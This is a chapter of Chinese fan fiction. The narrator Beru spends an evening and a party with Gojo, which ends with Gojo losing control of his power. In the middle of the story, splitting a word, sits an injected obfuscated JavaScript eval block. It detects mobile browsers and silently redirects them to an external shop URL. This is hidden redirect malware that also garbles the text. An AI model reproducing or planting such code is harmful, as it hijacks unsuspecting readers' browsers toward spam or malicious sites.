看完电影回来的路上，天色已经完全黑了。
越冬的星斗出现在早慧的夜色中，以肉眼不可见的移速向西南缓缓挪动，犹如拖着尾焰的飞行器。
很多时候，你难以辨别夜空中一闪一闪的亮光，到底是星星还是飞机。人类的智慧或许已经到了能欺骗神明的地步，住在寰宇的希腊诸神也会把飞机错认成星星吗？
天空的颜色介于蓝与紫之间，似乎能闻到无处不在的淡淡的茉莉香气，夏末初秋的火炉终于停歇，风里有令人想要深呼吸的凉意。
我们经过一个破败的城市公园，路灯坏了大半，剩下的几盏把微弱的光打在生锈的游乐设施上，像一副覆盖着灰尘的老画。
“我们玩捉迷藏吧。”五条突然说。
我说这是小孩子玩的。
“所以才要玩。”
回过神来，人已经跑远了。他的背影消失在灌木丛那边，白色的发尾一晃而过。
四下寂静，只有孱弱的虫鸣与远方模糊的车声。
我闭眼，缓缓数到三十。
小时候，在明斯克，我和训练营的孩子们也玩过同样的游戏，只不过那更残忍。教官会把追踪成绩最差的孩子单独从队列里扯出来，蒙上眼，随后命令其他人竭尽所能地藏起来。如果我们被找到，那我们会被一根沉重的木棍狠狠抽打，如果做鬼的那个人没有找到所有孩子，那么他会承受我们所有人挨打的总和。
正如玛奇玛所说，我不擅长说谎，也不擅长伪装，所以我总会被找到。同样的，正如玛奇玛还说，我具备狗的特质，所以我擅长追踪。因此，在这门课程里获得优异成绩的我，从没有做过鬼。
我睁开眼，等待了三十秒后世界仿佛只剩下我一个人。
公园不大，我走到滑梯下方，是空的。我搜索公共厕所的隔间，门一扇扇推开，一扇扇失望。
干涸的喷泉池里躺着几片枯叶，没有被踩碎也没有脚印。
我越找越快，心中陡然升起强烈的恐慌，就好像我再也找不到他了。
站在公园中央，我大声呼喊他的名字，除了风吹动树叶之外没有任何回应。
我再度回忆起在明斯克的雪夜，我们在寒冷中玩残酷的捉迷藏。我通常躲在树上，等鬼来找我。
有一次，我等了很久很久，等到天都暗了，雪地反射着白晃晃的光，像太阳扫过镜子刺痛人的眼睛。然后我看见那个脸上有雀斑的瘦小男孩面带恐惧地走过来，他站在树下抬起头，直愣愣地望着我。他没有发现我，茫然的眼睛空洞洞，仿佛穿过我看向后面的天空。
公园的秋千被风吹得发出嘎吱难听的声音，我的手指开始发抖，在京都说再见的那种感觉阵阵袭来，胃像是被一只手狠狠攥紧，浑身上下都不对劲。
我和那个小男孩一样站在空旷的黑暗中，犹如全盲般搜寻着。
忽然，一双手臂从背后伸来，我被抱住了。
五条热烘烘的身体紧靠着，袖子蹭着我的脸，令人安心的触觉，他浑身都是植被的草腥气。
“不玩了？”我说。
他摇摇头，过于柔软的头发糊成一团，钻进我的耳朵眼。
他说，他其实一直蹲在入口的灌木丛里，看着我在公园里转来转去，一圈又一圈，像个放学了没有人来接的孩子。因为我脸上的表情太难过，所以忍不住跑了出来。
我推了他一下，没推动。
“感到害怕了吗？”他问，声音近在耳畔，带着坏心眼的笑意。
我叹了口气。方才，只有我一个人站在公园中央，四面八方都是黑夜。有些人躲着躲着，就再也找不到了，此后再无处可觅踪迹。这是一件很恐怖的事情。
“真恶劣。”我从他的怀抱里挣脱出来。
五条扁嘴，鼻梁上架着滑稽的小墨镜，从灰黑色的镜片后露出湛蓝的双瞳，有那么点责备的意思。
“明明是你眼神差，我那么大个子，头发都从后面露出来了，居然还是看不到。”
我撇开头，不再接话。想来也奇怪，刚刚，我没有感受到一丁点他的存在，仿佛人间蒸发了。
他藏得太好了。
……
又过一天，到了舞会当日。
感谢熊猫宽柔仁慈的大爪子，他修好了冰箱，让我们的鱼虾能不因为气温而变质。
这天，我们从早上开始筹划派对。钉崎、伏黑、真希在外面布置彩带，并架设篝火所需的木柴堆。
厨房里，一群人乱哄哄地准备着食物。虎杖撸起袖子捏饭团，熊猫擦洗盘子。我做最擅长的事，杀鱼，他们都看呆了，没见过外科手术般的利落刀法，我难免有些不好意思。
五条穿着一身黑，是在照片上见过的高领服饰，显得他人没有那么壮实，反而更加高瘦。他系了一个围裙，上面有小熊与洋娃娃跳舞的图案。
我手起刀落，顺口问他在做什么？
他说：天妇罗。
我停下刀，探头看过去，五条白皙修长的手指熟练地剥掉青绿色的虾壳，指甲微微发粉，泛出湿漉漉的水光。
我有些诧异，“你居然真的会做饭。”
“味道很好哦。”他低头认真地弄，脸上有种孩子气的执着，难以想象这是一个三十岁的男人。
“我以前也这么想。”乙骨搬着啤酒箱走进来，砰地一声放在角落，“前几年，我和五条老师出差去外地，他在市场看到新鲜的芦笋，说颜色太好看了，非要做意大利面让我吃。”
“那芦笋真的很不错啊，忧太。”五条搭腔。
“我本以为他这样……嗯，超凡脱俗的人，是绝对不可能做饭的，没想到居然意外的很擅长。该说真不愧是传说中的六眼神子吗，什么都会做。”
我瞅瞅他，“神子。”
他露齿一笑。
我们忙活到下午，轮换着用灶火，总算完成了各自的家乡菜。
收尾的时候，五条忽然走过来，把手伸到我鼻子下面让我闻。我莫名其妙地嗅了几下，他猛地将手插进我鼻孔里，而后发出恶作剧成功的爆笑。
我脑门上的青筋跳动，囊了他一拳。
他一边喊房东打人啦一边按住我，颠三倒四地说，他发现挤过青柠檬的手会有无花果的味道。
我被勾起了好奇心，只好像个傻子，拿起他的手指。神奇的是，确实有一股奇特而沁人心脾的香气，混合着柠檬本身的味道，还有一丝幻觉般的无花果幽灵。
说起家乡菜，我的选择是白俄罗斯的鱼料理。其实我没有任何欧洲血统，从相貌上来看，是个纯粹的亚洲人。但我人生百分之九十以上的时间都在破碎而贫穷的前苏联生活，因此我并不擅长料理。
这也是我学会的第一道菜，在训练营食堂的后厨，由一个瘸腿的老厨子传授。那天蕾塞的任务失败，被教官禁食，我想要照顾她。
它没有一个正规的名字，只是人们在夏季用来替代罗宋汤的选择。因为含有甜菜根，所以看起来是粉红色的。我知道蕾塞喜欢粉色，所以我想做这个给她吃，尽管当时的我并不知道这汤到底是什么味道。
做法很简单，把鱼剔骨，切成小块，两面煎到微焦，放在一旁备用。然后准备浓汤，甜菜根切碎，与酸奶油混合。接着把鱼放进去，再配一些新鲜的黄瓜、圆葱、碾碎的煮鸡蛋，最后撒上新鲜莳萝，如果没有，那也可以用薄荷叶。
我做的时候，五条靠在厨房门口看，脸上还有点面粉，挂着淡淡的微笑，姿态非常轻松。让我产生一种错觉，他随时都会从后面抱上来。
晚会开始前，我回到五条那间小屋子。他扔在床上的手机亮了一下。
走过去一看，居然是乙骨发来的消息，内容是：贝鲁，帮我把床头柜抽屉里的盒子拿过来。落款：GTG。
我嘴边肌肉抽动，这家伙真的很会使唤人，几步路的事情，非要发短信吗。
我拿起他的手机，回复：知道了。
正要关掉，发现他的通讯录里有和我的记录。我点开，瞪大了眼睛，这下终于知道那天他发消息问我在干什么之后，又传来的几条短信是什么。
第一条：贝鲁酱在干什么呢。
第二条：你来东京吧，我们一起去迪士尼，我要给你戴米老鼠的发箍。肯定很好笑。
第三条：我戴那个粉色的老鼠耳朵，然后去拍大头贴，好呆啊，你觉不觉得。
……啊。
我握着他的手机使劲捶床，追悔莫及。天啊，天啊！
那天太过心灰意冷，只看了第一条就把手机收起来了，后面因为接连不断的事，再也没看过手机，导致错过了五条珍贵的高龄少男发言。我感到很对不起他。
一个人在屋里发了几分钟的疯，我平静下来，恢复到标准的扑克脸，自我验证了一下现在出去撞见别人不会傻笑，我才继续本来要做的事。
篝火派对开始前需要互相赠送礼物，我想起出发东京前收拾的行李中我特地放了一本书。原先是为了打发列车上的时间，结果一路上全是监视我的人，压根没机会拿出来。如今送给五条正合适。
我拉开床头柜，拿出五条那个深蓝色的盒子，而后回到已经被布置为庆典氛围的小广场。
大家已经在吵吵闹闹地搬东西了，几张铺着油布的长桌七零八落的放在周围，上面摆着各式菜肴。熊猫放飞一把气球，五条用术式将它们固定住半空，不让飞走。
真希含了一口酒精，对着打火机猛地喷出，瞬间点燃了干燥的木柴，旁边几个孩子高声叫好，她得意地擦了擦鼻子。场面非常像马戏团，太热闹了。
我把盒子递给五条，他接过塞进口袋，然后伸长手臂从空中拿下一个气球。
“贝鲁，你生日是什么时候？”他把气球系在我的手腕上。
我一愣，“不知道。”
“嗯？”五条掀起眼皮，“忘记了？”
“我是孤儿。”其实不完全是。但如果没有关于亲人的记忆，那也算是孤儿。
他也愣住了，“我都不知道，你从没说过自己的事情。”
我晃了晃手腕，橙色的气球像个巨大的橘子。真可爱。
“没什么可说的，就是训练，杀人，训练，杀人，攒钱，退役。”
他像是被气笑了，“你这家伙……”
钉崎吹响纸喇叭，篝火的熊熊之光在薄暮的青蓝色天空下格外鲜亮，地面上晃荡着巨大的影子。乙骨按下五条的随身听，音乐通过电线，传输到扩音器，嘹亮地唱起来。
孩子们互相交换礼物，我看见虎杖钉崎伏黑同时拿出熊猫批量做的钥匙扣，三人顿时笑作一团。我看见真希交给乙骨一柄匕首，而乙骨给熊猫戴上粉白相间的花环，熊猫又送给真希一个黑色的毛毡小猫玩偶。
五条拍拍我的肩膀，眼睛亮亮地看着我。
“数到三。”他说。
我屏住呼吸。
一。
二。
三。
他将深蓝色盒子打开，里面是一副很小的彩色墨镜，以及一张老旧的照片。
我呆呆地看着，又抬头看他。
五条有点不好意思地挠着头，像个高中生。他解释道，这是在倒塌的教师宿舍的废墟里捡到的。
儿童墨镜是他在很小的时候自己偷偷买的。那时，他还没有轮胎高，可世界以他无法拒绝的方式疯狂涌入，六眼将所有信息同时灌进一个孩童的脑子。
没有人问过他能不能承受，也没有人能教他如何关闭。所以他溜出家，跑到街上去买了这副墨镜。
我小心翼翼地拿起来，它看起来太脆弱了，廉价的橙红色塑料镜片，镜框是歪的，戴上去像个傻瓜。
——聊胜于无吧。
我想到在超市里他说的话。
至于照片，则是他刚出生时拍的。照片里的他和所有普通小孩一样，攥着拳头，双眼紧闭，不知道在跟什么东西较劲。
那时候他还不是神子，不是最强，只是五条家一个刚出生的小男孩。
这两样东西恰好记录了他这辈子最长的两个喘息：一次是还没睁开眼睛，一次是刚学会挡住眼睛。
我捧着他这极度私人的过去，只属于他自己的回忆，不知道该说些什么。
“这是我的起点，再然后，生命就像开快车，一下子就走到死亡了。”他有些感概地说。
我上前紧紧拥抱他，“谢谢……最好的礼物。”
“主要是东京已经稀巴烂了，手边又没有钱，不然我肯定把整个商场都搬空，不过我还是第一次发现钱是好东西，以前完全不在意……”他略显紧张地絮絮叨叨，不停地说话。
我把脸埋进他的胸口，没一会他深色的衣服布料上印出一个湿漉漉的人脸。
“喂，喂！你现在也太容易哭了吧！别啊……”五条两只手在半空胡乱挥动，不知道该拿我怎么办。
其实我也不想的，但是人的感情一旦被打开阀门，便会像活水涌入死池，源源不断。这并非能人为控制的。
我松开他，用袖子擦干脸，看着他前胸滑稽的泪痕，像一张小丑的面具，
他掸了几下，“怎么办，把老师的制服弄脏了。”
“不怎么办，就这样穿。”我说。
他忽然喷笑，“你说话声音好搞笑。”
我也笑了，“这个给你，五条。”
他接过我的旧书，翻开，页面自然翻动，来到了我最长停留的那一页。
五条注视着书上的字，渐渐露出惊讶的神情。
“这是……”
“我最喜欢的书，送给你。”
“实不相瞒，你不在家的时候我偷看过。”
“我知道，书签的位置变了。”
他单手夹着书，反过来，指着一句划线的话。
——因为我有幸孤身独处，虽然我从来并不孤独。我只是独自一人而已，独自生活在稠密的思想之中。
“就是这句，我印象很深，当时想着，这女人可真阴沉，喜欢看这些。”
看来，当时他并没有往下继续读，因为后半句才是我真正喜欢这本书的原因。我借着他的手，向后翻了一页。
——因为我有点儿狂妄，是无限和永恒中的狂妄分子，而无限和永恒也许就喜欢我这样的人。
我看着五条，认真地说：“这就是你。”
他将书转过来，眼睛逐字地扫过去，像打字机，每敲下一个字，便在心中留下一个刻印。
半晌，五条合上旧书，同样严肃地说，“贝鲁。”
“嗯？”我抬头。
“说的太对了。”
我受不了地捂住头。
“简直就是我本人。”
“是是是……”
“这作家是谁，我要给他献花。”
很快，舞会开始了。
我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551680|203110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们把礼物放在安静的角落，重新回到喧嚣的人群。
所有人都很疯，虎杖和钉崎在面对面比谁的高抬腿幅度更大，伏黑被熊猫硬扯着跳华尔滋。真希跳着男步，把乙骨转成陀螺，那孩子脸都绿了，恐怕下一秒就会眩晕得吐出来。
五条也在跳舞，跳得很好，我认不出这是什么舞步，或许他只是跟着喜欢的音乐随意摇摆。
他的白发被火光映成橙红色，在人群中转圈，像一只终于找到了同类的大鸟，在一群叽叽喳喳的小鸟中间扑腾翅膀。
我站在篝火边安静地注视着他，手里握着一罐啤酒。他的身形太过长手长脚，比起跳舞，更适合战斗。
乙骨终于吐了，他萎靡地来到我身边坐下。
“贝鲁桑，不去吗？”
我摇摇头，“不想变成你这样。”
他苦笑。
我们聊了聊以前五条做老师时的事情，听起来是个很顽皮的男人，不仅脸蛋永葆青春，心灵也童真不老。真是天赋异禀。
休息了一会，乙骨重新回到人群。
音乐还在响。我听得很清楚，是《Starman》。David Bowie的声音在篝火上方盘旋，像一颗正在缓慢脱离轨道的卫星。
起初，没有人注意到任何异常。
钉崎的鞋尖几乎踢到虎杖的下巴，虎杖不服气地说她短腿，钉崎怒道你再说一遍。
伏黑被熊猫的大爪子甩出去，踉跄两步又被拽回来，一脸生无可恋。
真希这次跳女步了，看起来浑身难受。
然后，我看见五条忽然停住了动作。他手指在半空中僵住，像被按下暂停键。
他低下头，白发遮住了眼睛。
孩子们从五条身边接二连三地跳过去。虎杖和钉崎你追我赶，真希拉着乙骨，他踉跄着大喘气，熊猫转着圈，庞大柔软的毛茸身体在火光里投下摇晃的影子。伏黑慢慢踱步而行。
他们跳舞，欢笑，说第二天就会忘记的胡话。
五条悟站在他们中间，在这片被篝火照亮的空地上，在所有旋转的身体与舞动的影子之间，像一颗被遗落在时间老人皱纹里的石子，纹丝不动。
虎杖的汗从额角滑到下颌，滴落。
就在此刻，时间像是被拉长成一条没有尽头的胶片，每一帧都黏稠地从前一帧的残影里挣脱出来。
我看见那汗水滴落的速度变得非常非常慢。
而后，钉崎的短发甩起来，发丝在空中缓缓散开。熊猫浑身的绒毛轻微颤抖，伏黑缓慢眨眼，乙骨和真希一前一后的步伐。这些我全部看得一清二楚。
……不，等等，有什么不对！
我慌乱紧张地想要站起来，却发现自己也被卷进这照入现实的慢动作之中，无论如何也无法挪动身体。
音乐还在继续。David Bowie唱到“He''d like toe and meet us，but he thinks he''d blow our minds”。
那声音被拉伸得近乎失真，低沉的男声变成一串断断续续的低频震响，从扩音器里传过来，穿过篝火，穿过那些还在缓慢舞动的人影。
我手里的啤酒震颤，铝罐里的液面轻轻晃动，一圈极细的涟漪泛起。
霎时，篝火的火焰猛地停顿，最顶端那一簇正在往上窜的火苗，保持着上一秒的形状，不再上升，不再扭动，橙红色的边缘凝固在半空。
火星悬在夜空之下，它们在空气里静止着，一动不动地亮着，如同被钉在黑色天鹅绒上的碎钻。
五条悟站在那片静止的火光里，白发垂落着，贴着颧骨。他低着头，脸被头发遮住，只能看到他嘴唇在动。我完全听不见他的声音。
然后他转身往外走，步伐和平时一样不快不慢，甚至还记得绕过地上那箱空啤酒瓶。
但从他转身的那一秒起，时间猛然弹回原位。火焰重新跳动，火星升起，音乐灌满整个空间。
David Bowie唱“Let all the children boogie”。乙骨又吐了，虎杖在大笑，钉崎在鼓掌，熊猫在转圈。
没有人注意到他走了。
仿佛那时间静止的一瞬间只是我一个人的幻觉。
我站起来四处张望，五条真的不在了。
我立刻追上去。
拨开层层叠叠的树丛，黑暗中枝桠划破我的脸，但我完全顾不上了。五条，发生什么了，刚刚那是怎么回事！
随着我越跑越快，他高挑的背影终于从黑暗中浮现。
过去寻常夜色中的树影，此刻如噩梦般伸出一只只手探向五条。他在废墟边缘停下来，周围的一切开始失重。
碎石从地面浮起，灰尘在他周身形成一个极速旋转的漩涡，碎纸片、枯叶、不知从哪吹来的塑料袋，所有东西都绕着他漂浮、旋转、碰撞，如同一个正在缓慢崩溃的小星系。
他在混乱的中心，低着头。
我往前走了一步，被弹开。又走一步，又被弹开。
他抬起头看向我，曾经那么美丽的双眼此刻被深不见底的黑色覆盖，只剩最外沿的一圈耀眼的蓝色，宛若日全食时，太阳被月亮吞没之前的最后一瞬。
“贝鲁，别过来。”他露出让我放心的微笑，声音低沉平稳。
这却比任何表情都更让我害怕。
我用身体顶着斥力，又往前走了一步。腿在发抖，膝盖在发软，仿佛正跟一辆卡车面对面顶撞。
周围高速盘旋的杂物割伤皮肤，我坚定地伸出手抓住了他的手臂。无下限在这一刻消失了，没有了他的控制，那些乱飞的东西变得更加暴烈。他说过，在我面前从来没有打开过它。即使在失控的边缘，这句承诺仍然有效。
我能感觉到脸被割出无数道细小的伤口，血流进眼睛，五条的肌肉在我掌心里绷得像石头。
“我不能让它出来。”
“你怎么了！”我顶着狂风高声大喊，“五条！”
他忽然笑起来，如同破开阴天的一束阳光。
“抱歉，硝子总是对的。”
他缓缓挣脱开我的手，把我推出危险的风暴。
“我绝对不会让它伤害你们。”
我被巨大的斥力撞飞出去，重重摔向地面。
他转过身，走进废墟更深处的阴影里。所有悬浮在半空中的碎片同时落地。
酝酿数日的暴雨终于决堤。
我拼尽全力爬起来，踉跄着朝他离开的方向跑过去，五条的背影与京都那天晚上一样，白发在黑暗里越来越远，如同一小片渐渐远去的银光。
他走过那根歪倒的电线杆，走过庞大的混凝土碎块，走过永远停在路边的废弃汽车。所行之处，皆卷起风暴，如同一个即将爆炸的巨大能量中心。
我的手里还残留着他手臂上的热度，血顺着下巴淅淅沥沥洒在地上。
身后传来虎杖喊我的声音，钉崎气喘吁吁的暗骂几声，真希的刀鞘擦过地面的石子。他们跑到我身边，停下来，没有人说话。
篝火还在烧，音乐却已经停了。
那时，我尚未意识到，记忆无非是一个胶卷，想要铭记，就要用自己的眼睛去拍摄。
这或许就是为什么我当时拼命忍住不想眨眼。
因为冥冥中我隐约意识到，或许我再也见不到他了。